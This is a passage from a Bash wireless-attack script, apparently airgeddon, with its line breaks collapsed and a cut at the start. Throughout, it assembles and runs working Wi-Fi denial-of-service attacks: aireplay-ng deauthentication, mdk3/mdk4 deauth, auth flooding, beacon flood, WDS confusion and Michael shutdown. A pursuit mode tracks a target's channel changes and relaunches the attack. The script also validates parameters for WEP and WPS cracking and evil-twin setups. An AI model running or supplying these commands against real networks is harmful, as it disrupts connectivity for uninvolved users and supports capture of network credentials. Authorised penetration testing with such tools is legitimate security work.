(DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "auth dos attack") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${interface}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "beacon flood attack") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${interface}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} b -n '${essid}' -c ${channel} -s 1000 -h" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "wids / wips / wds confusion attack") dos_delay=10 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${interface}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} w -e '${essid}' -c ${channel}" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "michael shutdown attack") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${interface}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "${mdk_command}") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${iface_monitor_et_deauth}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "Aireplay") interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${iface_monitor_et_deauth}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 dos_delay=3 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "Auth DoS") dos_delay=10 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${iface_monitor_et_deauth}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; esac if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then dos_pursuit_mode_attack_pid=$! fi dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") if [ "${channel}" -gt 14 ]; then if [ "${interface_pursuit_mode_scan}" = "${interface}" ]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" kill_dos_pursuit_mode_processes language_strings "${language}" 115 "read" return 1 else airodump_band_modifier="abg" fi else if [ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" kill_dos_pursuit_mode_processes language_strings "${language}" 115 "read" return 1 else airodump_band_modifier="abg" fi fi else if [ "${interface_pursuit_mode_scan}" = "${interface}" ]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then airodump_band_modifier="bg" else airodump_band_modifier="abg" fi else if [ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then airodump_band_modifier="bg" else airodump_band_modifier="abg" fi fi fi sleep "${dos_delay}" airodump-ng -w "${tmpdir}dos_pm" "${interface_pursuit_mode_scan}" --band "${airodump_band_modifier}" > /dev/null 2>&1 & dos_pursuit_mode_scan_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then if [[ -n "${enterprise_mode}" ]] || [[ -n "${et_mode}" ]]; then launch_fake_ap fi fi local processes_file processes_file="${tmpdir}${et_processesfile}" for item in "${dos_pursuit_mode_pids[@]}"; do echo "${item}" >> "${processes_file}" done } #Parse and control pids for DoS pursuit mode attack pid_control_pursuit_mode() { debug_print local dos_pursuit_mode_ignored_channel="" rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 echo "${channel}" > "${tmpdir}${channelfile}" while true; do sleep 5 if grep "${bssid}" "${tmpdir}dos_pm-01.csv" > /dev/null 2>&1; then readarray -t DOS_PM_LINES_TO_PARSE < <(cat < "${tmpdir}dos_pm-01.csv" 2> /dev/null) for item in "${DOS_PM_LINES_TO_PARSE[@]}"; do if [[ "${item}" =~ ${bssid} ]]; then dos_pm_current_channel=$(echo "${item}" | awk -F "," '{print $4}' | sed 's/^[ ^t]*//') if [[ "${dos_pm_current_channel}" =~ ^([0-9]+)$ ]] && [[ "${BASH_REMATCH[1]}" -ne 0 ]] && [[ "${BASH_REMATCH[1]}" -ne "${channel}" ]]; then if [[ "${dos_pm_current_channel}" -gt 14 ]] && [[ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then if [ "${dos_pursuit_mode_ignored_channel}" != "${dos_pm_current_channel}" ]; then echo language_strings "${language}" 813 "yellow" dos_pursuit_mode_ignored_channel="${dos_pm_current_channel}" fi continue fi dos_pursuit_mode_ignored_channel="" channel="${dos_pm_current_channel}" rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 echo "${channel}" > "${tmpdir}${channelfile}" if [ -n "${enterprise_mode}" ]; then sed -ri "s:(channel)=([0-9]{1,3}):\1=${channel}:" "${tmpdir}${hostapd_wpe_file}" 2> /dev/null elif [ -n "${et_mode}" ]; then sed -ri "s:(channel)=([0-9]{1,3}):\1=${channel}:" "${tmpdir}${hostapd_file}" 2> /dev/null fi kill_dos_pursuit_mode_processes launch_dos_pursuit_mode_attack "${1}" "relaunch" fi fi done fi dos_attack_alive=$(ps uax | awk '{print $2}' | grep -E "^${dos_pursuit_mode_attack_pid}$" 2> /dev/null) if [ -z "${dos_attack_alive}" ]; then break fi done kill_dos_pursuit_mode_processes } #Execute mdk deauth DoS attack function exec_mdkdeauth() { debug_print echo language_strings "${language}" 89 "title" language_strings "${language}" 32 "green" rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" echo if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "${mdk_command} amok attack" "first_time" pid_control_pursuit_mode "${mdk_command} amok attack" else iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack" "active" wait_for_process "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack" fi } #Execute aireplay DoS attack function exec_aireplaydeauth() { debug_print echo language_strings "${language}" 90 "title" language_strings "${language}" 32 "green" echo if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "aireplay deauth attack" "first_time" pid_control_pursuit_mode "aireplay deauth attack" else iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" "active" wait_for_process "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" fi } #Execute WDS confusion DoS attack function exec_wdsconfusion() { debug_print echo language_strings "${language}" 91 "title" language_strings "${language}" 32 "green" echo if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "wids / wips / wds confusion attack" "first_time" pid_control_pursuit_mode "wids / wips / wds confusion attack" else iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"wids / wips / wds confusion attack\"" "${mdk_command} ${interface} w -e '${essid}' -c ${channel}" "wids / wips / wds confusion attack" "active" wait_for_process "${mdk_command} ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" fi } #Execute Beacon flood DoS attack function exec_beaconflood() { debug_print echo language_strings "${language}" 92 "title" language_strings "${language}" 32 "green" echo if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "beacon flood attack" "first_time" pid_control_pursuit_mode "beacon flood attack" else iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"beacon flood attack\"" "${mdk_command} ${interface} b -n '${essid}' -c ${channel} -s 1000 -h" "beacon flood attack" "active" wait_for_process "${mdk_command} ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" fi } #Execute Auth DoS attack function exec_authdos() { debug_print echo language_strings "${language}" 93 "title" language_strings "${language}" 32 "green" echo if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "auth dos attack" "first_time" pid_control_pursuit_mode "auth dos attack" else iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack" "active" wait_for_process "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack" fi } #Execute Michael Shutdown DoS attack function exec_michaelshutdown() { debug_print echo language_strings "${language}" 94 "title" language_strings "${language}" 32 "green" echo if [ "${dos_pursuit_mode}" -eq 1 ]; then language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "michael shutdown attack" "first_time" pid_control_pursuit_mode "michael shutdown attack" else iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"michael shutdown attack\"" "${mdk_command} ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" "active" wait_for_process "${mdk_command} ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" fi } #Validate mdk parameters function mdk_deauth_option() { debug_print echo language_strings "${language}" 95 "title" language_strings "${language}" 35 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return fi echo language_strings "${language}" 34 "yellow" if ! ask_bssid; then return fi if ! ask_channel; then return fi ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi exec_mdkdeauth } #Switch mdk version function mdk_version_toggle() { debug_print if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then sed -ri "s:(AIRGEDDON_MDK_VERSION)=(mdk3):\1=mdk4:" "${rc_path}" 2> /dev/null AIRGEDDON_MDK_VERSION="mdk4" else sed -ri "s:(AIRGEDDON_MDK_VERSION)=(mdk4):\1=mdk3:" "${rc_path}" 2> /dev/null AIRGEDDON_MDK_VERSION="mdk3" fi set_mdk_version } #Set mdk to selected version validating its existence function set_mdk_version() { debug_print if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then if ! hash mdk3 2> /dev/null; then echo language_strings "${language}" 636 "red" exit_code=1 exit_script_option else mdk_command="mdk3" fi else mdk_command="mdk4" fi } #Validate Aireplay parameters function aireplay_deauth_option() { debug_print echo language_strings "${language}" 96 "title" language_strings "${language}" 36 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return fi echo language_strings "${language}" 34 "yellow" if ! ask_bssid; then return fi if ! ask_channel; then return fi ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi exec_aireplaydeauth } #Validate WDS confusion parameters function wds_confusion_option() { debug_print echo language_strings "${language}" 97 "title" language_strings "${language}" 37 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return fi echo language_strings "${language}" 34 "yellow" if ! ask_essid "verify"; then return fi if ! ask_channel; then return fi ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi exec_wdsconfusion } #Validate Beacon flood parameters function beacon_flood_option() { debug_print echo language_strings "${language}" 98 "title" language_strings "${language}" 38 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return fi echo language_strings "${language}" 34 "yellow" if ! ask_essid "verify"; then return fi if ! ask_channel; then return fi ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi exec_beaconflood } #Validate Auth DoS parameters function auth_dos_option() { debug_print echo language_strings "${language}" 99 "title" language_strings "${language}" 39 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return fi echo language_strings "${language}" 34 "yellow" if ! ask_bssid; then return fi ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi exec_authdos } #Validate Michael Shutdown parameters function michael_shutdown_option() { debug_print echo language_strings "${language}" 100 "title" language_strings "${language}" 40 "green" if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return fi echo language_strings "${language}" 34 "yellow" if ! ask_bssid; then return fi ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi exec_michaelshutdown } #Validate wep all-in-one and besside-ng attacks parameters function wep_attack_option() { debug_print if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then echo language_strings "${language}" 125 "yellow" language_strings "${language}" 115 "read" if ! explore_for_targets_option "WEP"; then return 1 fi fi if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi if ! validate_network_encryption_type "WEP"; then return 1 fi if ! validate_network_type "personal"; then return 1 fi echo language_strings "${language}" 425 "yellow" language_strings "${language}" 115 "read" manage_wep_log language_strings "${language}" 115 "read" if [ "${1}" = "allinone" ]; then exec_wep_allinone_attack else exec_wep_besside_attack fi } #Validate wps parameters for custom pin, pixie dust, bruteforce, pin database and null pin attacks function wps_attacks_parameters() { debug_print if [ "${1}" != "no_monitor_check" ]; then if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi echo language_strings "${language}" 34 "yellow" fi if ! ask_bssid "wps"; then return 1 fi if ! ask_channel "wps"; then return 1 fi if [ "${1}" != "no_monitor_check" ]; then if ! validate_network_type "personal"; then return 1 fi fi if [ "${1}" != "no_monitor_check" ]; then case ${wps_attack} in "custompin_bully"|"custompin_reaver") ask_custom_pin ask_timeout "wps_standard" ;; "pixiedust_bully"|"pixiedust_reaver") ask_timeout "wps_pixiedust" ;; "pindb_bully"|"pindb_reaver") ask_timeout "wps_standard" ;; "nullpin_reaver") ask_timeout "wps_standard" ;; esac fi return 0 } #Print selected options function print_options() { debug_print if "${AIRGEDDON_AUTO_UPDATE:-true}"; then language_strings "${language}" 451 "blue" else language_strings "${language}" 452 "blue" fi if "${AIRGEDDON_SKIP_INTRO:-true}"; then language_strings "${language}" 567 "blue" else language_strings "${language}" 568 "blue" fi if "${AIRGEDDON_BASIC_COLORS:-true}"; then language_strings "${language}" 563 "blue" else language_strings "${language}" 564 "blue" fi if "${AIRGEDDON_EXTENDED_COLORS:-true}"; then language_strings "${language}" 453 "blue" else language_strings "${language}" 454 "blue" fi if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then language_strings "${language}" 474 "blue" else language_strings "${language}" 475 "blue" fi if "${AIRGEDDON_SILENT_CHECKS:-true}"; then language_strings "${language}" 575 "blue" else language_strings "${language}" 576 "blue" fi if "${AIRGEDDON_PRINT_HINTS:-true}"; then language_strings "${language}" 582 "blue" else language_strings "${language}" 583 "blue" fi if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then language_strings "${language}" 594 "blue" else language_strings "${language}" 595 "blue" fi reboot_required_text="" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then if grep -q "AIRGEDDON_WINDOWS_HANDLING=tmux" "${rc_path}" 2> /dev/null; then reboot_required_text="${reboot_required[${language}]}" fi language_strings "${language}" 618 "blue" else if grep -q "AIRGEDDON_WINDOWS_HANDLING=xterm" "${rc_path}" 2> /dev/null; then reboot_required_text="${reboot_required[${language}]}" fi language_strings "${language}" 619 "blue" fi language_strings "${language}" 641 "blue" reboot_required_text="" if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then if grep -q "AIRGEDDON_PLUGINS_ENABLED=false" "${rc_path}" 2> /dev/null; then reboot_required_text="${reboot_required[${language}]}" fi language_strings "${language}" 653 "blue" else if grep -q "AIRGEDDON_PLUGINS_ENABLED=true" "${rc_path}" 2> /dev/null; then reboot_required_text="${reboot_required[${language}]}" fi language_strings "${language}" 654 "blue" fi if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then language_strings "${language}" 690 "blue" else language_strings "${language}" 691 "blue" fi if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then language_strings "${language}" 771 "blue" else language_strings "${language}" 772 "blue" fi if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then language_strings "${language}" 810 "blue" else language_strings "${language}" 811 "blue" fi } #Print selected interface function print_iface_selected() { debug_print if [ -z "${interface}" ]; then language_strings "${language}" 41 "red" echo language_strings "${language}" 115 "read" select_interface else check_interface_mode "${interface}" if [ "${ifacemode}" = "(Non wifi adapter)" ]; then language_strings "${language}" 42 "blue" else language_strings "${language}" 514 "blue" fi fi } #Print selected internet interface function print_iface_internet_selected() { debug_print if [ "${et_mode}" != "et_captive_portal" ]; then if [ -z "${internet_interface}" ]; then language_strings "${language}" 283 "blue" else language_strings "${language}" 282 "blue" fi fi } #Print selected target parameters (bssid, channel, essid and type of encryption) for dos attacks menu function print_all_target_dos_attacks_menu_vars() { debug_print if [ -n "${bssid}" ]; then language_strings "${language}" 43 "blue" if [ -n "${channel}" ]; then language_strings "${language}" 44 "blue" fi if [ -n "${essid}" ]; then if [ "${essid}" = "(Hidden Network)" ]; then language_strings "${language}" 45 "blue" else language_strings "${language}" 46 "blue" fi fi if [ -n "${enc}" ]; then language_strings "${language}" 135 "blue" fi else if [ -n "${channel}" ]; then language_strings "${language}" 44 "blue" fi if [ -n "${essid}" ]; then if [ "${essid}" = "(Hidden Network)" ]; then language_strings "${language}" 45 "blue" else language_strings "${language}" 46 "blue" fi fi if [ -n "${enc}" ]; then language_strings "${language}" 135 "blue" fi fi } #Print selected target parameters (bssid, channel, essid and type of encryption) function print_all_target_vars() { debug_print if [ -n "${bssid}" ]; then language_strings "${language}" 43 "blue" if [ -n "${channel}" ]; then language_strings "${language}" 44 "blue" fi if [ -n "${essid}" ]; then if [ "${essid}" = "(Hidden Network)" ]; then language_strings "${language}" 45 "blue" else language_strings "${language}" 46 "blue" fi fi if [ -n "${enc}" ]; then language_strings "${language}" 135 "blue" fi fi } #Print selected target parameters on evil twin menu (bssid, channel and essid) function print_all_target_vars_et() { debug_print if [ -n "${bssid}" ]; then language_strings "${language}" 43 "blue" else language_strings "${language}" 271 "blue" fi if [ -n "${channel}" ]; then language_strings "${language}" 44 "blue" else language_strings "${language}" 273 "blue" fi if [ -n "${essid}" ]; then if [ "${essid}" = "(Hidden Network)" ]; then language_strings "${language}" 45 "blue" else language_strings "${language}" 46 "blue" fi else language_strings "${language}" 274 "blue" fi } #Print selected target parameters on evil twin submenus (bssid, channel, essid, DoS type and Handshake file) function print_et_target_vars() { debug_print if [ -n "${bssid}" ]; then language_strings "${language}" 43 "blue" else language_strings "${language}" 271 "blue" fi if [ -n "${channel}" ]; then language_strings "${language}" 44 "blue" else language_strings "${language}" 273 "blue" fi if [ -n "${essid}" ]; then if [ "${essid}" = "(Hidden Network)" ]; then language_strings "${language}" 45 "blue" else language_strings "${language}" 46 "blue" fi else language_strings "${language}" 274 "blue" fi if [ "${current_menu}" != "et_dos_menu" ]; then if [ -n "${et_dos_attack}" ]; then language_strings "${language}" 272 "blue" else language_strings "${language}" 278 "blue" fi fi if [ "${et_mode}" = "et_captive_portal" ]; then if [ -n "${et_handshake}" ]; then language_strings "${language}" 311 "blue" else if [ -n "${enteredpath}" ]; then language_strings "${language}" 314 "blue" else language_strings "${language}" 310 "blue" fi fi fi } 